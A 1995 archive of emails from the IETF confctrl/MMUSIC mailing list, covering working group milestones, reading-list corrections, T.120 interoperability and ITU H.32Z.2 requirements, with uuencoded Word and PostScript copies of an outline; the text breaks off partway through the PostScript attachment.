standards body if appropriate for the purpose of ensuring widely
usable standards.

The Working Group will be supported by the three Co-Chairs who will
share responsibility for technical direction of the working group.
Mark Handley and Ruth Lang will be responsible for the "day-to-day"
operation and management of the Working Group (e.g., meeting
scheduling, minutes, etc.).  Eve Schooler's role will be as primary
architect; she will not perform much of the "day-to-day" management of
the Working Group because of full-time doctoral program load.


Goals and Milestones:

Mar  95	Post an Internet-Draft describing the Session Description Protocol.

May  95  Post an Internet-Draft describing the MMUSIC Architectural Framework.

Jun  95	Submit a revised Internet-Draft on the Session Description Protocol.

Nov  95	Submit the Session Description Protocol to the IESG for
	consideration as an Experimental Protocol.

Apr  95	Post an Internet-Draft describing the Session Agreement Protocol.

Jun  95	Submit a revised Internet-Draft on the Session Agreement Protocol.

Nov  95 Submit the Session Agreement Protocol to the IESG for
	consideration as an Experimental Protocol.

Jul  95	Post an Internet-Draft describing the Usage of the Session
	Agreement Protocol.

Sept 95	Submit a revised Internet-Draft on the Session Agreement
	Protocol Usage document.

Nov  95	Submit the Session Agreement Protocol Usage document to the
	IESG for consideration as an Informational RFC.


Jul  95	Post an Internet-Draft describing Requirements for a Session
	Coordination Protocol.

Sept 95	Post an Internet-Draft describing the Session Coordination Protocol.

Jan  96	Submit a revised Internet-Draft on the Session Coordination Protocol.

Mar  96	Submit the Session Coordination Protocol to the IESG for
	consideration as an Experimental Protocol.

[Last updated: 3/30/95]

From owner-confctrl@ISI.EDU  Fri Apr  3 03:02:55 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA03275>; Fri, 31 Mar 1995 11:03:02 -0800
Received: from eitech.eit.COM by venera.isi.edu (5.65c/5.61+local-21)
	id <AA03271>; Fri, 31 Mar 1995 11:03:01 -0800
Received: from collage (collage.eit.COM) by eitech.eit.com (4.1/SMI-4.1)
	id AA11371; Fri, 31 Mar 95 11:02:55 PST
Date: Fri, 31 Mar 95 11:02:55 PST
From: vinay@eit.COM (Vinay Kumar)
Message-Id: <9503311902.AA11371@eitech.eit.com>
To: schooler@cs.caltech.edu
Subject: Re: Suggested readings for MMusic session
Cc: confctrl, aweinrib@ibeam.jf.intel.com, mankin, mhandley@cs.ucl.ac.uk,
        rlang@std.sri.com

My fault, apologize therefore. The URL should be:
	http://www.eit.com/software/mmphone/phoneform.html
Regards
---
 Vinay Kumar
vinay@eit.com

> From owner-confctrl@ISI.EDU  Fri Mar 31 04:07:52 1995
> From: schooler@cs.caltech.edu (Eve Schooler)
> 
> 
> - WWW and E-mail based session prototypes:
>   "http://www.eit.com/softare/shared_mosaic.html"
>  

From owner-confctrl@ISI.EDU  Sun Apr  2 07:22:22 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16962>; Sun, 2 Apr 1995 14:22:59 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16958>; Sun, 2 Apr 1995 14:22:59 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA26591; Sun, 2 Apr 95 14:22:24 PDT
Message-Id: <9504022122.AA26591@std.sri.com>
To: krechmer@ix.netcom.com
Cc: confctrl, rlang@std.sri.com
Subject: Re: T.120
Date: Sun, 02 Apr 1995 14:22:22 -0700
From: Ruth Lang <rlang@std.sri.com>


Date: Fri, 10 Mar 1995 19:31:10 +0000
From: kkrechmer@attmail.com (Ken Krechmer)

> I have been reading the e-mail responses on this reflector to
> Microsoft's announcement of T.120 data conferencing support.  Note
> that T.120 data conferencing will also be supported in H.320 (ISDN
> video phone) and H.324 (PSTN video phone). I think that MCU based
> multipoint conferencing solutions are designed for latency sensitive
> traffic.  However some of the work on T.12x Recommendations extends
> well beyond isochronous requirements (e.g. T.124 Generic Conference
> Control which deals with registration and related issues).
> 
> It seems to me that the concerns about or interworking with MCU based
> conferencing solutions could be developed into a discussion paper.  I
> would be glad to pass such a discussion paper to the T.120 reflector
> and to mention it at the SG 8 meeting.  ITU protocol prevents me from
> bringing in such a paper at this late date.

Ken,

As reflected in the revised charter that Eve Schooler included with
the suggested reading list for the Apr. 5 meeting, the Working Group
is interested in discussing and documenting interoperability issues
between MMUSIC, and ITU and industry consortium protocols.  Part of
the presentation of the revised charter will focus on this issue,
encourage discussion on which interoperability areas to focus, solicit
opinions on how to best document the related issues (e.g., a
stand-alone document vs sections within MMUSIC protocol
specifications), and look for volunteers who are well-versed in
both/multiple arenas.

Your offer to forward an interoperability discussion paper is
acknowledged and appreciated.  We also welcome your participation in
creating the content of a potential document.

> I will be attending the next Study Group 8 Q10 meeting (T.120) in
> Geneva for the next two weeks (March 13-23, 1995).

MMUSIC would welcome your sending email to confctrl@isi.edu with a
summary/points of interest from this (as well as future) meeting.

Regards,

Ruth


From owner-confctrl@ISI.EDU  Sun Apr  2 08:07:42 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18036>; Sun, 2 Apr 1995 15:07:49 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18032>; Sun, 2 Apr 1995 15:07:49 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA26664; Sun, 2 Apr 95 15:07:44 PDT
Message-Id: <9504022207.AA26664@std.sri.com>
To: confctrl
Cc: schooler@cs.caltech.edu, rlang@std.sri.com
Subject: Re: Suggested readings for MMusic session 
In-Reply-To: Your message of "Fri, 31 Mar 1995 02:59:20 PST."
             <9503311059.AA07552@vlsi.cs.caltech.edu> 
Date: Sun, 02 Apr 1995 15:07:42 -0700
From: Ruth Lang <rlang@std.sri.com>


> - Coordination protocol discussion:
>   "ftp://gaiai.cs.umass.edu/pub/{Sch9504:Dynamic.ps.gz, 
> 				 Sch9502:Message.ps.gz}"

The ftp site is gaia.cs.umass.edu.

Ruth

From owner-confctrl@ISI.EDU  Wed Apr  5 07:08:07 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA08345>; Wed, 5 Apr 1995 08:09:14 -0700
Received: from IETF.nri.reston.VA.US (ietf.cnri.reston.va.us) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA08341>; Wed, 5 Apr 1995 08:09:13 -0700
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa02956;
          5 Apr 95 11:08 EDT
To: IETF-ANNOUNCE: ;
Cc: confctrl, mwalnut@CNRI.Reston.VA.US
Subject: DANVERS ON-SITE: Additional MMUSIC session
Date: Wed, 05 Apr 95 11:08:07 -0400
From: Megan Davies Walnut <mwalnut@CNRI.Reston.VA.US>
Message-Id:  <9504051108.aa02956@IETF.CNRI.Reston.VA.US>



Additional MMUSIC Session today.


Group Name: Multimedia Session Control (mmusic)
Date/Time : Wed. April 5, 1995
            1300-1500
Location  : Sheraton Tara (Buckingham Room)


From owner-confctrl@ISI.EDU  Wed Apr  5 11:38:00 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10209>; Wed, 5 Apr 1995 18:39:54 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10203>; Wed, 5 Apr 1995 18:39:52 -0700
Received: from ibeam.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0rwgWg-0003diC; Wed, 5 Apr 95 18:38 PDT
Message-Id: <m0rwgWg-0003diC@ibeam.intel.com>
Date: Wed, 5 Apr 95 18:38 PDT
X-Sender: aweinrib@ibeam.intel.com (Unverified)
X-Mailer: Windows Eudora Version 2.0.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl
From: AWeinrib@ibeam.intel.com (Abel Weinrib)
Subject: updated parameters for H.22Z

>Return-Path: <dls@mtgbcs.mt.att.com>
>From: "Dale L. Skran" <dls@mtgbcs.mt.att.com>
>Date: Wed, 29 Mar 1995 11:32:33 -0500
>To: h32z2-list@mtgbcs.mt.att.com
>Subject: updated parameters for H.22Z
>Cc: jcm@mtgbcs.mt.att.com
>X-UIDL: 796495400.038
>
>Here is an updated version based on comments received. These comments
>expressed concern that the need to interwork with existing H.320 endpoints
>was not sufficiently clear; this has been clarified, I hope. Also, the
>point that LAN audio might be different from existing H.320 audio is also
>made(the new ITU-T low-complexity algorithm could be used.).
>
>Dale Skran
>Editor, H.22Z
>--------- cut line -----------------
>
>
>The general parameters for H.22Z is that it should be able to:
>
>	0a)Interwork, with one instance of H.22z on a LAN endpoint, and
>	the other on a LAN/WAN gateway, with an existing H.320 endpoint
>	connected over the WAN. This implies that H.22z will be capable
>	of maintaining a level of quality such that this interoperability
>	is possible without undue expense or complication in the gateway.
>	However, a call from H.320/WAN to H.32Z.2/LAN need not appear
>	identical in quality to an H.320/WAN to H.320/WAN call. For
>	example, the frame rate might be lower, or the call might
>	video change rates or modes during the call, etc.
>	Also, image degredation from a "rate reducer" in the gateway is
>	explicitly allowed (such a device could be used to match a
>	higher WAN rate to a lower LAN rate).
>
>	0b)Changes may be proposed such that an advanced H.320 endpoint
>	may provide enhanced user feedback of LAN activities (e.g.
>	a BAS for "adaptive busy") but procedures must cover existing
>	H.320 endpoints.
>
>	1)Operate over any LAN with suitable QOS, assuming the underlying
>	LAN has both a reliable, acknowledged mode and a datagram mode.
>
>	2)provide for a means of coordinating/sychronizing audio/video/control
>	as needed (most likely timestamps)
>
>	3)provide a means of detecting LAN congestion (most likely using
>	timestamps)
>
>	4)allow for different error detection/recovery schemes for audio,
>	video, data, and control.
>
>	5)support H.261 video (QCIF will be required)
>
>	6)support G.series audio (G.711 will be required?)
>	Note that one option is to use the new low-complexity alorithm
>	on the LAN, and transcode to other G-series audio in the
>	LAN/WAN gateway.
>
>	7)support a set of control PDUs that are highly compatible with
>	H.242/H.230, most likely encapsulated BAS. Some BAS, however,
>	will need to be associated with media streams to assure
>	synchronization.
>
>	8)Support T.120 data, possibly "out-of-band" over the LAN (in other
>	words the stack may be different)
>
>	9)allow for both "broadcast" and "point-to-point" modes on the
>	LAN side.
>
>	10)nominally, H.221 is not used
>
>	11)on the LAN side there will be only single-channel operation; the
>	gateway may need to convert to multi-channel operation, so the LAN
>	endpoint will be required to support SM-comp/6B/H0-comp.
>
>
>
>


From owner-confctrl@ISI.EDU  Wed Apr  5 11:38:00 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10201>; Wed, 5 Apr 1995 18:39:51 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10197>; Wed, 5 Apr 1995 18:39:50 -0700
Received: from ibeam.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0rwgWd-0003deC; Wed, 5 Apr 95 18:38 PDT
Message-Id: <m0rwgWd-0003deC@ibeam.intel.com>
Date: Wed, 5 Apr 95 18:38 PDT
X-Sender: aweinrib@ibeam.intel.com (Unverified)
X-Mailer: Windows Eudora Version 2.0.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl
From: AWeinrib@ibeam.intel.com (Abel Weinrib)
Subject: H.32Z and the IETF

Here is the response I got from Dale Skran when I sent him mail re. H.32Z.2
and some of the related work going on in the IETF.

>Return-Path: <dls@mtgbcs.mt.att.com>
>From: "Dale L. Skran" <dls@mtgbcs.mt.att.com>
>Date: Wed, 22 Mar 1995 10:26:46 -0500
>References: <m0rrFIa-0003ciC@ibeam.intel.com>
>To: AWeinrib@ibeam.intel.com (Abel Weinrib)
>Subject: Re: H.32Z and the IETF  (this may be of general interest)
>Cc: h32z2-list@mtgbcs.mt.att.com, dls@mtgbcs.mt.att.com (Dale L Skran)
>X-UIDL: 795892756.002
>
>1)Overlap with IETF
>
>	- I don't expect the ITU-T to be involved in a general
>internet solution. We are intereseted in connecting a LAN endpoint
>to a LAN/WAN gateway, and hence to the public network. Of course, the
>entire internet could hypothetically be between the LAN endpoint and
>the LAN/WAN gateway as long as QOS requirements are met. This would be
>beyond the scope of the ITU-T document.
>	- At this time, I don't see the ITU-T rec covering how the LAN
>achieves QOS requirements; if the IETF focuses on this there will be
>no overlap
>	- There may well be overlap with RTP
>	- Since E.164 addresses must be mapped to IP and other LAN
>addresses as part of H.22Z/H.32Z.2, there may be some overlap here.
>
>
>
>2)openness
>
>	- At the rapporteur level the process is completely open; IETF
>submissionss are welcome - just send them to the mailing list for our
>consideration. However, the ITU-T sets down the guidelines, and the IETF
>has no special status; its ideas will be considered on an equal basis
>with all other submissions.
>
>
>Hope this clarifies things.
>
>Dale Skran
>Editor, H.22Z
>
>


From owner-confctrl@ISI.EDU  Wed Apr  5 11:38:00 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10195>; Wed, 5 Apr 1995 18:39:50 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10191>; Wed, 5 Apr 1995 18:39:48 -0700
Received: from ibeam.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0rwgWY-0003dbC; Wed, 5 Apr 95 18:38 PDT
Message-Id: <m0rwgWY-0003dbC@ibeam.intel.com>
Date: Wed, 5 Apr 95 18:38 PDT
X-Sender: aweinrib@ibeam.intel.com (Unverified)
X-Mailer: Windows Eudora Version 2.0.3
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=====================_797143162==_"
To: confctrl
From: AWeinrib@ibeam.intel.com (Abel Weinrib)
Subject: H.32Z.2 outline (Word format attached)
X-Attachments: C:\EUDORA\ATTACH\H323OUT2.DOC;

--=====================_797143162==_
Content-Type: text/plain; charset="us-ascii"

Here is the outline for the H.32Z.2 document I mentioned at the mmusic
meeting today.  I will send this attached as a UUencoded Word document.  A
postscript version will follow.

--=====================_797143162==_
Content-Type: application/msword; name="H323OUT2.DOC"; x-mac-type="42494E41"; x-mac-creator="4D535744"
Content-Transfer-Encoding: x-uuencode
Content-Disposition: attachment; filename="H323OUT2.DOC"


begin 600 H323OUT2.DOC
MVZ4M````"00`````````````````````@`$``-$-``"3%0``````````````
M`````````%$,```````````````````````````````````````````````4
M``#G```4``#G`.<4`````.<4`````.<4`````.<4`````.<4```.`/44````
M`````````/44`````/44`````/44`````/44```*`/\4```*``````````D5
M``!+`%45`````%45`````%45`````%45`````%45`````%45`````%45````
M`%45````````````````````````````````````````````````````````
M`````%45```T`(D5```*`),5`````),5````````````````````````````
M````!P`(``$``@``````````````````````````````````````````````
M````````````````````````````````3W5T;&EN92!F;W(-"@T*1%)!1E0-
M"E)E8V]M;65N9&%T:6]N($@N,S):+C(-"@T*5DE354%,("!414Q%4$A/3D4@
M(%-94U1%35,@($%.1"`@5$5234E.04P@($5154E0345.5"!&3U(@($Q/0T%,
M("!!4D5!("!.15173U)+4R`@5TA)0T@@($1/3D]4(%!23U9)1$4@($$@($=5
M05)!3E1%140@(%%504Q)5%D@($]&("!315)624-%(`T*#0HQ"5-#3U!%#0H)
M+2!%;F1P;VEN=`T*"2T@1V%T97=A>2]-0U4-"@T*,B`@("!.3U)-051)5D4@
M4D5&15)%3D-%4PT*#0HS("`@($1%1DE.251)3TY3#0H-"C0@("`@4UE-0D],
M4R!!3D0@04)"4D5624%424].4PT*#0HU("`@(%-94U1%32!$15-#4DE05$E/
M3@T*#0HU+C$@("`@("`@17AA;7!L92!B;&]C:R!D:6%G<F%M(&%N9"!F=6YC
M=&EO;F%L(&5L96UE;G1S#0H-"C4N,B`@("`@("!3:6=N86QS#0H)"2T@5FED
M96\-"@D)+2!3<&5E8V@-"@D)+2!$871A#0H)"2T@0V]N=')O;`T*#0HU+C,@
M("`@("`@3F5T=V]R:R!);G1E<F9A8V4O5&5R;6EN86P@36]D96P-"@D)+2!D
M969I;F4@9V%T97=A>2]E;F1P;VEN="!T97)M<PT*"0DM($-A;&P@8V]N=')O
M;"!F=6YC=&EO;G,_#0H)"2T@5FER='5A;"!"=7-Y#0H)"2T@3F5T=V]R:R!#
M;VYG97-T:6]N($1E=&5C=&EO;@T*#0HU+C0@("`@("`@5FED96\@0V]D:6YG
M#0H)"2T@2"XR-C$@36%N9&%T;W)Y#0H)"0DM($-)1B!/<'1I;VYA;`T*"0D)
M+2!10TE&($UA;F1A=&]R>0T*"0DM($@N,C8S($]P=&EO;F%L#0H)"2T@4')O
M<')I971A<GD@5FED96\-"@D)"2T@;G,M8V%P+VYS+6-O;0T*#0HU+C4@("`@
M("`@4W!E96-H($-O9&EN9PT*"0DM($<N-S$Q('4M;&%W(&]R($$M;&%W(&]R
M(&)O=&@@36%N9&%T;W)Y#0H)"2T@1RXW,C(L($<N-S(X($]P=&EO;F%L#0H)
M"2T@1RXW,C,@;W!T:6]N86P-"@D)+2!,;W<@8V]M<&QE>&ET>2!A;&=O<FET
M:&T-"@D)+2!386UE(')E<V5R=F5D(&-O9&4@<&]I;G1S(&%S($@N,C(Q#0H-
M"C4N-B`@("`@("!$871A($-H86YN96P-"@D)+2!4+C$R,"!I;BUB86YD(&]R
M(&]U="UO9BUB86YD/PT*"2T@1&]E<R!A;GD@<&%R="!O9B!4+C$R,"!'0T,@
M;F5E9"!T;R!B92!F<F%M92!S>6YC:')O;F]U<S\-"@T*-2XW("`@("`@(%-U
M<&5R=FES:6]N(&%N9"!#;VYT<F]L#0H)"2T@1G)A;64@<WEN8W)O;F]U<PT*
M"0DM($YO;BU&<F%M92!3>6YC:')O;F]U<PT*#0HU+C@@("`@("`@375L=&EP
M;&5X#0H)"2T@2"XR,EH-"@D)+2!,:6ME($@N,C(S/S\-"@D)+2!P86-K971I
M>F5D#0H)"2T@;F5T=V]R:R!P<F]T;V-O;',@*%1#4"])4"P@971C*0T*"0DM
M($1U<&QE>"!A;F0@<VEM;&5X(&UO9&5S#0H-"C8@("`@0T].5%)/3"!!3D0@
M24Y$24-!5$E/3B`H0R9)*0T*"2T@3&EK92!(+C(R,2!A;F0@2"XR,S`-"@DM
M($%D9&ET:6]N86P@;65S<V%G97,@#0H)+2!.;R!"05,@8VAA;FYE;"P@=7-E
M(&-O;G1R;VP@4$15#0H-"C<@("`@5$5234E.04P@4%)/0T5$55)%4PT*-RXQ
M("`@("`@(%!H87-E<R!!("`M($-A;&P@<V5T+75P#0H-"C<N,B`@("`@("!0
M:&%S92!"("T@26YI=&EA;"!D:6=I=&%L(&-O;6UU;FEC871I;VX-"B`@("`@
M("`@("!A;F0@8V%P86)I;&ET>2!E>&-H86YG90T*"0DM($ES('1H97)E(")A
M=61I;R!O;FQY(B!I;B!T:&ES(&EN:71I86P@<&AA<V4_#0H-"C<N,R`@("`@
M("!0:&%S92!#("T@17-T86)L:7-H;65N="!O9B!A=61I;W9I<W5A;"!C;VUM
M=6YI8V%T:6]N#0HW+C,N,2`@("`@("`@("!0<F]C961U<F4@870@86YS=V5R
M:6YG('1E<FUI;F%L#0HW+C,N,B`@("`@("`@("!0<F]C961U<F4@870@8V%L
M;&EN9R!T97)M:6YA;`T*#0HW+C0@("`@("`@4&AA<V4@1"`M($EN:71I86QI
M<V%T:6]N#0HW+C0N,2`@("`@("`@("!$96QA>2!C;VUP96YS871I;VX-"C<N
M-"XR("`@("`@("`@($5X8VAA;F=E(&]F('9I9&5O(&)Y(&UU='5A;"!A9W)E
M96UE;G0-"@T*-RXU("`@("`@(%!H87-E($4Z($%C=&EO;B!D=7)I;F<@82!S
M97-S:6]N#0H-"C<N-B`@("`@("!0:&%S92!&.B!3=7!P;&5M96YT87)Y('-E
M<G9I8V5S(&%N9"!C86QL(&-L96%R:6YG#0H-"C@@("`@24Y415)/4$52051)
M3TX@5TE42"!/5$A%4B!415)-24Y!3%,-"@DM($1O('=E(&YE960@86QL(&]F
M('1H97-E/PT*."XQ("`@("`@(%-P965C:"!O;FQY('1E<FUI;F%L<PT*"0DM
M($UA>2!N;W0@8F4@<&]S<VEB;&4@9'5E('1O(&5C:&\@:7-S=65S#0HX+C(@
M("`@("`@5FES=6%L('1E;&5P:&]N92!T97)M:6YA;',@;W9E<B!T:&4@25-$
M3B`H2"XS,C`I#0H)"2T@57-I;F<@2"XS,EHN,B])4T1.(&=A=&5W87D-"C@N
M,R`@("`@("!6:7-U86P@=&5L97!H;VYE('1E<FUI;F%L<R!O=F5R(%!/5%,@
M*$@N,S(T*0T*"0DM(#\-"C@N-"`@("`@("!6:7-U86P@=&5L97!H;VYE('1E
M<FUI;F%L<R!O=F5R($UO8FEL92!2861I;R`H2"XS,C0O32D-"@D)+2!&;W(@
M9G5R=&AE<B!S='5D>0T*."XU("`@("`@(%9I<W5A;"!T96QE<&AO;F4@=&5R
M;6EN86QS(&]V97(@051-("`H2"XS,C$I#0H)"2T@57-I;F<@2"XS,EHN,B]!
M5$T@1V%T97=A>0T*."XV("`@("`@(%9I<W5A;"!T96QE<&AO;F4@=&5R;6EN
M86QS(&]V97(@1W5A<F%N=&5E9"!1=6%L:71Y(&]F#0H@("`@("`@("`@4V5R
M=FEC92!,04YS("A(+C,R,BD-"@D)+2!5<VEN9R!(+C,R6BXR(&=A=&5W87D@
M86YD($@N,S):+C(@9V%T97=A>3\_#0H-"CD@("`@3U!424].04P@14Y(04Y#
M14U%3E13#0HY+C$@("`@("`@1&%T82!F86-I;&ET:65S#0H)"2T@5"XQ,C`-
M"BT@1&]E<R!F87(@96YD(&-A;65R82!C;VYT<F]L(&UA:V4@<V5N<V4@:6X@
M;&%N(&)A<V5D('-Y<W1E;7,@=VAI8V@@87)E(&UO<W0@;&EK96QY(&1E<VMT
M;W`@=&5R;6EN86QS/PT*#0HY+C(@("`@("`@16YC<GEP=&EO;@T*"0DM($@N
M,C,S#0H-"C$P("`@355,5$E03TE.5"!#3TY3241%4D%424].4PT*,3`N,0D)
M3$%.($UU;'1I<&]I;G0-"@D)+2!$;R!W92!N965D(&%N($U#52]G871E=V%Y
M(&EN('1H:7,@8V%S93\-"C$P+C()"5=!3B!-=6QT:7!O:6YT#0H)"2T@1V%T
M97=A>7,@96UU;&%T92!A<G)A>2!O9B!(+C,R,"!T97)M:6YA;',-"@D)+2!'
M871E=V%Y<R!E;75L871E($@N,C0S($U#50T*#0HQ,2`@($U!24Y414Y!3D-%
M#0HQ,2XQ("`@("`@3&]O<&)A8VMS(&9O<B!M86EN=&5N86YC92!P=7)P;W-E
M<PT*"0DM(%-A;64@87,@:6X@2"XR-#(-"@T*"W4`B`$`C:`%CJ`%````````
M``````````````````````````````````````"``0``SPT``-$-``#[]P``
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````<```8``P`8!P``!@`%`!@`
M`H`!``"-`0``CP$``)8!``"N`0``L`$``#T"```_`@``2`(``%4"``!E`@``
M9P(``(("``"$`@``E@(``)@"``"X`@``N@(``-,"``#5`@``#@,``!`#```C
M`P``+@,``#H#``!$`P``40,``%,#``!_`P``H@,``+\#``#1`P``\P,``/4#
M```-!```(@0``#4$``!*!```7@0``'4$``")!```BP0``*0$``#0!```ZP0`
M`/\$```=!0``104``$<%``!?!0``@@4``+\%``#!!0``Y`4``/H%```5!@``
M%P8``"P&```W!@``208``%D&``!^!@``FP8``)T&``#`!@``V08``/(&```6
M!P``&`<``#('``!5!P``5P<``(H'``"M!P``WP<``.$'```A"```40@``'\(
M``"!"```I0@``,@(``#^"`````D``"P)```N"0``:PD``&T)``"7"0``M`D`
M`-4)``#Z`/3T`.L`````````````````````````````````````````````
M`````````````.,`````````````````````````````````````````````
M```````'`````````!&@!1-@^@``"``````````%`1"@!1&@!0``!0``````
M```%`0``!0`````````%`0!:U0D```$*```]"@``70H``)4*``"<"@``W@H`
M`/4*```M"P``3`L``(T+``"M"P``W@L``.`+``#\"P``%PP``"(,``"*#```
MC`P``*(,``"M#```KPP``,\,``#E#```$@T``"@-``!7#0``=PT``'D-``"+
M#0``N0T``,\-``#1#0```````````````````````/H`````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````%`````````!&@!2`.`!$```#_````
M`````/____\`-P```/\``0(!`@$""@``"````````"`!`0H```P````8```@
M_____PX``$8`!``4````````!'T`$?(````````/"``"X!#`(0$"$?,`````
M```/"``"X!#`(0$"_P?U````````"O8````````1T`(*]P```````!'0`@KX
M````````$=`""OD````````1T`(*^@```````!'0`@K[````````$6@!____
M_P<`````````#P#R`/,```#U`/8`]P#X`/D`^@#[`````````````-X`````
M40P`````T0T``(`!``#1#0``!P"``0``T0T```@`2P`*$`!4;7,@4FUN``E@
M`%-Y;6)O;``'(`!(96QV``HP`$-O=7)I97(`$!``0T<@5&EM97,@*%=.*0`/
M(`!5;FEV97)S("A73BD``"```@`#`P````#0`@````````````````````!A
MA/,%`0"B```````````````````````*````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
'````````````
`
end

--=====================_797143162==_--


From owner-confctrl@ISI.EDU  Wed Apr  5 11:38:00 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10215>; Wed, 5 Apr 1995 18:39:56 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10211>; Wed, 5 Apr 1995 18:39:54 -0700
Received: from ibeam.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0rwgWi-0003dkC; Wed, 5 Apr 95 18:38 PDT
Message-Id: <m0rwgWi-0003dkC@ibeam.intel.com>
Date: Wed, 5 Apr 95 18:38 PDT
X-Sender: aweinrib@ibeam.intel.com (Unverified)
X-Mailer: Windows Eudora Version 2.0.3
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=====================_797143171==_"
To: confctrl
From: AWeinrib@ibeam.intel.com (Abel Weinrib)
Subject: H.32Z.2 outline (Word format attached)
X-Attachments: C:\DATA\DOCS\H32Z2.PS;

--=====================_797143171==_
Content-Type: text/plain; charset="us-ascii"

Here is the outline for the H.32Z.2 document I mentioned at the mmusic
meeting today, in UU-encoded postscript.

--=====================_797143171==_
Content-Type: application/postcript; name="H32Z2.PS"; x-mac-type="54455854"; x-mac-creator="74747874"
Content-Transfer-Encoding: x-uuencode
Content-Disposition: attachment; filename="H32Z2.PS"


begin 600 H32Z2.PS
M!"4A4%,M061O8F4M,RXP#0HE)4-R96%T;W(Z(%=I;F1O=W,@4%-#4DE05`T*
M)254:71L93H@36EC<F]S;V9T(%=O<F0@+2!(,S(S3U54,BY$3T,-"B4E0F]U
M;F1I;F=";W@Z(#$R(#$R(#4Y."`W.#`-"B4E1&]C=6UE;G1.965D961297-O
M=7)C97,Z("AA=&5N9"D-"B4E1&]C=6UE;G13=7!P;&EE9%)E<V]U<F-E<SH@
M*&%T96YD*0T*)25086=E<SH@*&%T96YD*0T*)25"96=I;E)E<V]U<F-E.B!P
M<F]C<V5T(%=I;C,U1&EC="`S(#$-"B]7:6XS-41I8W0@,CDP(&1I8W0@9&5F
M(%=I;C,U1&EC="!B96=I;B]B9'MB:6YD(&1E9GUB:6YD(&1E9B]I;GLW,@T*
M;75L?6)D+V5D>V5X8V@@9&5F?6)D+VQD>VQO860@9&5F?6)D+W1R+W1R86YS
M;&%T92!L9"]G<R]G<V%V92!L9"]G<@T*+V=R97-T;W)E(&QD+TTO;6]V971O
M(&QD+TPO;&EN971O(&QD+W)M="]R;6]V971O(&QD+W)L="]R;&EN971O(&QD
M#0HO<F-T+W)C=7)V971O(&QD+W-T+W-T<F]K92!L9"]N+VYE=W!A=&@@;&0O
M<VTO<V5T;6%T<FEX(&QD+V-M+V-U<G)E;G1M871R:7@-"FQD+V-P+V-L;W-E
M<&%T:"!L9"]!4D,O87)C;B!L9"]44GLV-34S-B!D:79]8F0O;&HO<V5T;&EN
M96IO:6X@;&0O;&,-"B]S971L:6YE8V%P(&QD+VUL+W-E=&UI=&5R;&EM:70@
M;&0O<VPO<V5T;&EN97=I9'1H(&QD+W-C:6=N;W)E(&9A;'-E#0ID968O<V-[
M<V-I9VYO<F5[<&]P('!O<"!P;W!]>S`@:6YD97@@,B!I;F1E>"!E<2`R(&EN
M9&5X(#0@:6YD97@@97$-"F%N9'MP;W`@<&]P(#(U-2!D:78@<V5T9W)A>7U[
M,WLR-34@9&EV(#,@,2!R;VQL?7)E<&5A="!S971R9V)C;VQO<GUI9F5L<V5]
M:69E;'-E?6)D#0HO1D-[8E(@8D<@8D(@<V-]8F0O9D-[+V)"(&5D+V)'(&5D
M+V)2(&5D?6)D+TA#>VA2(&A'(&A"('-C?6)D+VA#>PT*+VA"(&5D+VA'(&5D
M+VA2(&5D?6)D+U!#>W!2('!'('!"('-C?6)D+W!#>R]P0B!E9"]P1R!E9"]P
M4B!E9'UB9"]S30T*;6%T<FEX(&1E9B]096Y7(#$@9&5F+VE096X@-2!D968O
M;7A&(&UA=')I>"!D968O;7A%(&UA=')I>"!D968O;7A510T*;6%T<FEX(&1E
M9B]M>%5&(&UA=')I>"!D968O9D)%(&9A;'-E(&1E9B]I1&5V4F5S(#<R(#`@
M;6%T<FEX(&1E9F%U;'1M871R:7@-"F1T<F%N<V9O<FT@9'5P(&UU;"!E>&-H
M(&1U<"!M=6P@861D('-Q<G0@9&5F+V904"!F86QS92!D968O4U-[9E!0>PT*
M+U-6('-A=F4@9&5F?7MG<WUI9F5L<V5]8F0O4E-[9E!0>U-6(')E<W1O<F5]
M>V=R?6EF96QS97UB9"]%2GMG<V%V90T*<VAO=W!A9V4@9W)E<W1O<F5]8F0O
